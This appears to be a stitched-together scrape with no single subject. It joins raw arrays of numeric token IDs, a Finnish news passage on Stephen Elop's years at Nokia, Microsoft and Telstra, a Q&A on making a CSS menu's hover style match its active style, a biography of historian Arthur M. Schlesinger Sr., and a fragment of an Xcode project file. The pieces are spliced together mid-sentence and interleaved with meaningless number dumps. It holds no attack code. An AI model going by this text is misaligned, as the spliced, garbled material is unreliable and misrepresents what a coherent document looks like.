285, 2193, 347, 42852, 323, 9493, 14142, 15, 754, 369, 4122, 20803, 347, 247, 6423, 273, 23011, 5408, 797, 569, 387, 17330, 323, 1264, 8007, 13, 3340, 275, 253, 4910, 273, 2675, 13, 2255, 434, 13, 285, 13163, 2892, 15, 3032, 3347, 13, 15948, 353, 15, 3697, 868, 4940, 10512, 15, 313, 746, 1166, 1253, 8602, 582, 671, 10256, 387, 17330, 285, 369, 247, 4879, 24072, 15, 187, 187, 14660, 285, 5249, 187, 10859, 868, 4940, 434, 3392, 13, 10246, 10984, 3697, 868, 4940, 13, 369, 247, 37138, 757, 5679, 13, 285, 521, 3101, 13, 50276, 47085, 313, 46117, 5721, 321, 282, 582, 369, 271, 29535, 10503, 15, 380, 767, 11516, 281, 31573, 1204, 2366, 285, 37797, 14092, 281, 1594, 23364, 13, 10128, 13, 275, 1283, 3547, 15, 187, 187, 1328, 369, 5686, 275, 1594, 23364, 13, 10128, 13, 285, 20981, 432, 380, 10128, 2418, 2499, 275, 31707, 15, 3900, 247, 5974, 387, 10128, 2418, 13, 344, 369, 15247, 715, 253, 10128, 1503, 1464, 8857, 273, 253, 1777, 74, 25291, 380, 893, 1315, 33040, 15, 754, 2335, 521, 1777, 15, 37, 15, 50276, 249, 2892, 387, 12746, 2499, 13, 835, 344, 369, 12208, 407, 1097, 30806, 418, 15, 473, 8433, 836, 285, 8444, 329, 15, 2325, 472, 15, 754, 10256, 387, 10128, 2418, 285, 253, 2499, 273, 14890, 1078, 344, 7416, 253, 14953, 273, 17330, 2499, 347, 247, 11652, 273, 2892, 275, 32921, 13, 17288, 26485, 9857, 20757, 285, 10256, 387, 17330, 1919, 24178, 15, 50276, 13804, 12299, 434, 3697, 868, 4940, 11397, 275, 2255, 434, 2892, 310, 4907, 846, 779, 285, 521, 4475, 13, 12694, 13, 247, 4879, 32411, 15, 754, 3395, 271, 8121, 273, 253, 1457, 5854, 29787, 314, 275, 31751, 15, 187, 187, 688, 9693, 275, 29063, 13, 2846, 6338, 13, 762, 253, 9550, 273, 5490, 11579, 2205, 13, 13699, 281, 5263, 20145, 322, 3751, 604, 703, 7560, 327, 4201, 1453, 15, 496, 2380, 13, 703, 6225, 327, 3924, 13, 11561, 342, 247, 46579, 689, 617, 6208, 13, 1223, 617, 6519, 369, 1239, 407, 3697, 868, 4940, 15, 187, 187, 1328, 11346, 2266, 2021, 16027, 285, 11847, 15, 3032, 767, 18903, 13, 10876, 2485, 285, 38502, 17218, 2072, 13, 3395, 2143, 442, 24751, 285, 1160, 352, 1896, 323, 616, 1264, 9243, 13189, 313, 23108, 13, 15948, 13, 285, 36883, 10, 281, 8041, 6831, 38588, 275, 11369, 13, 2892, 285, 1569, 15, 2596, 273, 521, 15196, 369, 5686, 15948, 378, 1377, 287, 649, 3697, 868, 4940, 285, 7932, 521, 4766, 1416, 342, 346, 39538, 937, 6240, 10512, 904, 1996, 275, 1495, 15, 187, 187, 10859, 868, 4940, 4962, 387, 7993, 35134, 2652, 798, 312, 8896, 275, 9693, 13, 14070, 15, 187, 187, 42317, 284, 187, 1328, 33536, 35842, 2675, 2892, 285, 10106, 2892, 15, 754, 369, 247, 39935, 39233, 12720, 665, 21198, 2144, 5997, 313, 3022, 5054, 11528, 10, 285, 1066, 35293, 25680, 285, 2193, 347, 42852, 323, 9493, 14142, 15, 754, 369, 4122, 20803, 347, 247, 6423, 273, 23011, 5408, 797, 569, 387, 17330, 323, 1264, 8007, 13, 3340, 275, 253, 4910, 273, 2675, 13, 2255, 434, 13, 285, 13163, 2892, 15, 754, 20503, 275, 33287, 13, 346, 4509, 4361, 2892, 275, 45789, 581, 651, 1158, 2716, 273, 776, 3072, 1160, 760, 247, 22879, 7680, 281, 2892, 449, 50276, 1328, 15127, 2675, 2892, 407, 820, 14, 264, 2996, 253, 2145, 14, 21970, 9541, 273, 2448, 7813, 313, 746, 1619, 1253, 47868, 10, 2962, 342, 39736, 13114, 11024, 15, 2053, 5026, 14118, 13, 3542, 407, 4283, 2872, 12981, 13, 6571, 3693, 8672, 13, 4292, 13, 285, 10281, 3374, 15, 1583, 3185, 2770, 327, 824, 12989, 347, 5948, 13, 35949, 13, 5054, 13, 8039, 13, 8142, 13, 9001, 13, 4730, 13, 285, 8928, 1495, 15, 187, 187, 688, 346, 53, 1487, 273, 2448, 27282, 937, 247, 49317, 16555, 275, 253, 27709, 8439, 275, 22745, 13, 344, 3559, 521, 6776, 474, 1859, 273, 2892, 534, 3636, 17948, 22957, 875, 12773, 285, 11518, 3872, 12315, 84, 13, 533, 352, 17755, 1643, 30525, 7419, 432, 521, 3347, 15, 3697, 868, 4940, 5611, 253, 2934, 273, 30587, 30525, 281 ]

äätös on hänen ja Elopin yhteinen. Nadella kertoo yhtiötiedotteessa seuraavansa mielenkiinnolla, mihin mies seuraavaksi päätyy. Kuukautta myöhemmin Microsoft tekee miljardien eurojen alaskirjauksen Nokialta ostamastaan matkapuhelinyksiköstä, jota Elop oli johtanut. Voi sanoa, että Microsoft ynnää heittäneensä koko kauppasumman kankkulan kaivoon. – Microsoft maksoi kaupasta miljardeja ja on hyödyttänyt Suomen kansantaloutta työllistämällä yli tuhat suomalaista näihin päiviin asti. Kiitos miljardeista, Elop! Olet eläkkeesi Suomesta ansainnut, sanailee Petteri Järvinen. 2016. Stephen Elop löytää uudet haasteensa toiselta puolen maapalloa. Australialainen teleyhtiö Telstra palkkaa (siirryt toiseen palveluun)hänet teknologiayksikön johtajaksi. "Elopin vastuulla on johtaa Telstran strategiaa maailmanluokan teknologiayhtiöksi", nimitystiedotteessa kerrotaan. Microsoftilla ei tiettävästi ole aikeita laajentaa liiketoimintaansa Oseanian maanosan telemarkkinoille. Telstran pesti ei ole sellainen näköalapaikka kuin Elopilla oli maailman suurimman kännykkäyhtiön johdossa tai mahtavassa Microsoftissa, missä hänestä aikanaan leivottiin jopa mahdollista toimitusjohtajaa. – Jos näytöt ovat sellaisia, mitä ovat olleet, ei siinä [Telstraa] ylemmäs pysty. Hän on sivuraiteilla huippupaikoista, Rothovius sanoo. Niin kävi Kanadan miehelle Nokian johdossa. Entäpä lautan miehelle, johon Elop Nokian kännyköitä vertasi? – Sille kävi huonosti. Se hukkui mereen.Q: How to make the hover class same as the active class Here is the fiddle: http://jsfiddle.net/outpbj3c/2/ HTML: <ul class="mcd-menu"> <li> <a href=""><strong>Home</strong></a> </li> <li> <a href="" class="active"><strong>About us</strong></a> </li> <li> <a href=""> <strong>About us</strong></a> </li> </ul> I would like assistance with two things: How can I center the text vertically which aligns with the arrow How can I make the hover class same as the active class A: I took the liberty of re-writing that CSS. http://jsfiddle.net/outpbj3c/7/ (edited the code) body{ background: #DEDEDE; } ul.mcd-menu{ list-style-type: none; width: 200px; margin: 0px; padding: 0px; } ul.mcd-menu li{ display: block; margin-bottom: 1px; background: #FFF; text-transform: uppercase; } ul.mcd-menu li a{ padding: 0px 20px; line-height: 50px; text-decoration: none; display: block; position: relative; color: #999; margin-left: 0px; margin-right: 0px; transition: color 300ms linear; -o-transition: color 300ms linear; -ms-transition: color 300ms linear; -moz-transition: color 300ms linear; -webkit-transition: color 300ms linear; } ul.mcd-menu li a.active, ul.mcd-menu li a:hover{ border-left: 4px solid #e67e22; border-right: 4px solid #e67e22; margin-left: -4px; margin-right: -4px; color: #e67e22; box-sizing: border-box; } ul.mcd-menu li a.active:before, ul.mcd-menu li a:hover:before{ content: ""; position: absolute; top: 42%; left: 0; border-left: 5px solid #e67e22; border-top: 5px solid transparent; border-bottom: 5px solid transparent; } ul.mcd-menu li a.active:after, ul.mcd-menu li a:hover:after{ content: ""; position: absolute; top: 42%; right: 0; border-right: 5px solid #e67e22; border-top: 5px solid transparent; border-bottom: 5px solid transparent; } Arthur M. Schlesinger Sr. Arthur Meier Schlesinger Sr. (; February 27, 1888 – October 30, 1965) was an American historian who taught at Harvard University, pioneering social history and urban history. He was a Progressive Era intellectual who stressed material causes (such as economic profit and conflict between businessmen and farmers) and downplayed ideology and values as motivations for historical actors. He was highly influential as a director of PhD dissertations at Harvard for three decades, especially in the fields of social, women's, and immigration history. His son, Arthur M. Schlesinger Jr. (1917–2007), also taught at Harvard and was a noted historian. Life and career Schlesinger's father, Bernhard Schlesinger, was a Prussian Jew, and his mother, Kate (née Feurle), was an Austrian Catholic. The two converted to Protestantism together and emigrated to Xenia, Ohio, in 1872. He was born in Xenia, Ohio, and graduated from The Ohio State University in 1910. While a student at Ohio State, he was initiated into the Ohio Zeta chapter of the Phi Delta Theta fraternity. He took his Ph.D. in history at Columbia University, where he was influenced by both Herbert L. Osgood and Charles A. Beard. He taught at Ohio State and the University of Iowa before he joined the faculty of Harvard University as a professor of history in 1924, succeeded Frederick Jackson Turner and taught at Harvard until 1954. Harvard's Schlesinger Library in women's history is named after him and his wife, Elizabeth, a noted feminist. He became an editor of the New England Quarterly in 1928. In Boston in 1929, city officials, under the leadership of James Curley, threatened to arrest Margaret Sanger if she spoke on birth control. In response, she stood on stage, silent with a gag over her mouth, while her speech was read by Schlesinger. He enjoyed strong family ties and commitment. His two sisters, Olga and Marion Etna, became schoolteachers and made it possible for their three younger brothers (George, Arthur, and Hugo) to attend college graduating in engineering, history and law. One of his sons was born Arthur Bancroft Schlesinger and replaced his middle name with "Meier," adding Jr., later in life. Schlesinger died at Peter Bent Brigham Hospital in Boston, Massachusetts. Ideas He pioneered social history and urban history. He was a Progressive Era intellectual who stressed material causes (like economic profit) and downplayed ideology and values as motivations for historical actors. He was highly influential as a director of PhD dissertations at Harvard for three decades, especially in the fields of social, women's, and immigration history. He commented in 1922, "From reading history in textbooks one would think half of our population made only a negligible contribution to history." He promoted social history by co-editing the 13-volume History of American Life (1928–1943) series with Dixon Ryan Fox. These thick volumes, written by leading young scholars, mostly avoid politics, individuals, and constitutional issues. They instead focus on such topics as society, demographics, economic, housing, fashion, sports, education, and cultural life. In "Tides of American Politics," a provocative essay in the Yale Review in 1939, he presented his cyclical view of history which identified irregular oscillations between liberal and conservative national moods, but it attracted few historians apart from his son. Schlesinger introduced the idea of polling historians to

[ 13266, 28, 7734, 996, 186, 1012, 36, 21, 37, 22, 4280, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 1738, 426, 551, 8901, 426, 28295, 4505, 12905, 28, 1390, 33931, 48632, 426, 2603, 3211, 15, 36036, 28, 1854, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 28, 2603, 14444, 426, 16375, 4399, 27988, 7734, 996, 186, 1012, 36, 21, 37, 22, 2648, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 1738, 426, 551, 8901, 426, 28295, 4505, 12905, 28, 1390, 33931, 48632, 426, 2505, 15, 45890, 15, 7229, 28, 1854, 426, 28730, 15, 45890, 28, 2603, 14444, 426, 16375, 4399, 27988, 7734, 187, 3122, 8072, 28295, 4505, 12905, 2593, 1738, 187, 187, 3122, 22929, 28295, 9270, 4896, 10987, 30335, 2593, 1738, 996, 186, 1012, 36, 21, 37, 22, 34, 3156, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 35, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 2405, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 187, 3122, 8072, 28295, 9270, 4896, 10987, 30335, 2593, 1738, 187, 187, 3122, 22929, 28295, 6998, 2593, 1738, 996, 186, 1012, 36, 21, 37, 3046, 38, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 4739, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 33701, 2657, 186, 1012, 36, 21, 37, 22, 8998, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3593, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 23910, 33701, 988, 186, 558, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 34, 3593, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 23910, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 3677, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 15, 1212, 33701, 2657, 186, 1012, 36, 21, 37, 22, 10172, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 89, 291, 383, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 3832, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 89, 291, 383, 33701, 988, 186, 558, 988, 186, 1590, 426, 23910, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 34, 4739, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 2446, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 2051, 23757, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 1934, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 9182, 8929, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 12648, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 11505, 15, 19192, 4697, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 883, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 2903, 1507, 15, 10587, 26094, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 2405, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 32371, 22249, 15, 19192, 4697, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 8998, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 16380, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 883, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 4280, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 2648, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 187, 3122, 8072, 28295, 6998, 2593, 1738, 187, 187, 3122, 22929, 28295, 21408, 12168, 2593, 1738, 996, 186, 1012, 36, 21, 37, 22, 34, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 7386, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 2405, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3156, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3712, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 34, 3677, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 15, 1212, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 13259, 3664, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 6327, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 37, 1797, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 26943, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 35, 3677, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 8561, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28295, 12168, 45864, 33701, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 10172, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 89, 291, 383, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 30310, 15, 8522, 14, 2566, 3664, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 3712, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 37, 3712, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 41270, 6655, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 36, 1797, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 2405, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 3156, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 36, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28295, 12168, 45864, 33701, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 36, 3832, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 89, 291, 383, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 30310, 15, 4113, 14, 19462, 3664, 996, 186, 4718, 187, 3122, 8072, 28295, 21408, 12168, 2593, 1738, 187, 187, 3122, 22929, 28295, 11695, 2593, 1738, 996, 186, 1012, 36, 21, 37, 3046, 39, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 8049, 1789, 1738, 426, 551, 988, 186, 8901, 426, 28295, 11695, 28, 988, 186, 26059, 426, 551, 2657, 186, 8693, 44756, 11241, 9063, 426, 16331, 740, 28, 2657, 186, 8693, 5683, 7698, 9063, 426, 16331, 740, 28, 2657, 186, 1372, 39845, 18769, 6570, 9536, 426, 346, 44, 4448, 15701, 757, 3617, 264, 31586, 3664, 2657, 186, 12168, 23372, 426, 551, 2664, 186, 1012, 36, 21, 37, 22, 34, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 426, 551, 7308, 186, 32331, 2374, 32953, 8893, 426, 854, 15, 18, 28, 7308, 186, 38018, 25804, 426, 898, 4883, 2031, 6721, 25697, 24, 28, 7308, 186, 1845, 4694, 272, 11446, 426, 28609, 28, 2664, 186, 4718, 2664, 186, 1012, 36, 21, 37, 22, 6327, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 426, 551, 7308, 186, 32331, 2374, 32953, 8893, 426, 854, 15, 18, 28, 7308, 186, 38018, 25804, 426, 8187, 4576, 25, 55, 20, 56, 43621, 28, 7308, 186, 1845, 4694, 272, 11446, 426, 47367, 28, 7308, 186 ]

DIR; }; 13C4D5CA1DDDDED400D5DC29 /* BitriseFastlaneSampleUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BitriseFastlaneSampleUITests.swift; sourceTree = "<group>"; }; 13C4D5CC1DDDDED400D5DC29 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ 13C4D5A41DDDDED300D5DC29 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 13C4D5B81DDDDED400D5DC29 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 13C4D5C31DDDDED400D5DC29 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ 13C4D59E1DDDDED300D5DC29 = { isa = PBXGroup; children = ( 13C4D5A91DDDDED300D5DC29 /* BitriseFastlaneSample */, 13C4D5BE1DDDDED400D5DC29 /* BitriseFastlaneSampleTests */, 13C4D5C91DDDDED400D5DC29 /* BitriseFastlaneSampleUITests */, 13C4D5A81DDDDED300D5DC29 /* Products */, ); sourceTree = "<group>"; }; 13C4D5A81DDDDED300D5DC29 /* Products */ = { isa = PBXGroup; children = ( 13C4D5A71DDDDED300D5DC29 /* BitriseFastlaneSample.app */, 13C4D5BB1DDDDED400D5DC29 /* BitriseFastlaneSampleTests.xctest */, 13C4D5C61DDDDED400D5DC29 /* BitriseFastlaneSampleUITests.xctest */, ); name = Products; sourceTree = "<group>"; }; 13C4D5A91DDDDED300D5DC29 /* BitriseFastlaneSample */ = { isa = PBXGroup; children = ( 13C4D5AA1DDDDED300D5DC29 /* AppDelegate.swift */, 13C4D5AC1DDDDED300D5DC29 /* ViewController.swift */, 13C4D5AE1DDDDED300D5DC29 /* Main.storyboard */, 13C4D5B11DDDDED300D5DC29 /* Assets.xcassets */, 13C4D5B31DDDDED300D5DC29 /* LaunchScreen.storyboard */, 13C4D5B61DDDDED300D5DC29 /* Info.plist */, ); path = BitriseFastlaneSample; sourceTree = "<group>"; }; 13C4D5BE1DDDDED400D5DC29 /* BitriseFastlaneSampleTests */ = { isa = PBXGroup; children = ( 13C4D5BF1DDDDED400D5DC29 /* BitriseFastlaneSampleTests.swift */, 13C4D5C11DDDDED400D5DC29 /* Info.plist */, ); path = BitriseFastlaneSampleTests; sourceTree = "<group>"; }; 13C4D5C91DDDDED400D5DC29 /* BitriseFastlaneSampleUITests */ = { isa = PBXGroup; children = ( 13C4D5CA1DDDDED400D5DC29 /* BitriseFastlaneSampleUITests.swift */, 13C4D5CC1DDDDED400D5DC29 /* Info.plist */, ); path = BitriseFastlaneSampleUITests; sourceTree = "<group>"; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ 13C4D5A61DDDDED300D5DC29 /* BitriseFastlaneSample */ = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5CF1DDDDED400D5DC29 /* Build configuration list for PBXNativeTarget "BitriseFastlaneSample" */; buildPhases = ( 13C4D5A31DDDDED300D5DC29 /* Sources */, 13C4D5A41DDDDED300D5DC29 /* Frameworks */, 13C4D5A51DDDDED300D5DC29 /* Resources */, ); buildRules = ( ); dependencies = ( ); name = BitriseFastlaneSample; productName = BitriseFastlaneSample; productReference = 13C4D5A71DDDDED300D5DC29 /* BitriseFastlaneSample.app */; productType = "com.apple.product-type.application"; }; 13C4D5BA1DDDDED400D5DC29 /* BitriseFastlaneSampleTests */ = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5D21DDDDED400D5DC29 /* Build configuration list for PBXNativeTarget "BitriseFastlaneSampleTests" */; buildPhases = ( 13C4D5B71DDDDED400D5DC29 /* Sources */, 13C4D5B81DDDDED400D5DC29 /* Frameworks */, 13C4D5B91DDDDED400D5DC29 /* Resources */, ); buildRules = ( ); dependencies = ( 13C4D5BD1DDDDED400D5DC29 /* PBXTargetDependency */, ); name = BitriseFastlaneSampleTests; productName = BitriseFastlaneSampleTests; productReference = 13C4D5BB1DDDDED400D5DC29 /* BitriseFastlaneSampleTests.xctest */; productType = "com.apple.product-type.bundle.unit-test"; }; 13C4D5C51DDDDED400D5DC29 /* BitriseFastlaneSampleUITests */ = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5D51DDDDED400D5DC29 /* Build configuration list for PBXNativeTarget "BitriseFastlaneSampleUITests" */; buildPhases = ( 13C4D5C21DDDDED400D5DC29 /* Sources */, 13C4D5C31DDDDED400D5DC29 /* Frameworks */, 13C4D5C41DDDDED400D5DC29 /* Resources */, ); buildRules = ( ); dependencies = ( 13C4D5C81DDDDED400D5DC29 /* PBXTargetDependency */, ); name = BitriseFastlaneSampleUITests; productName = BitriseFastlaneSampleUITests; productReference = 13C4D5C61DDDDED400D5DC29 /* BitriseFastlaneSampleUITests.xctest */; productType = "com.apple.product-type.bundle.ui-testing"; }; /* End PBXNativeTarget section */ /* Begin 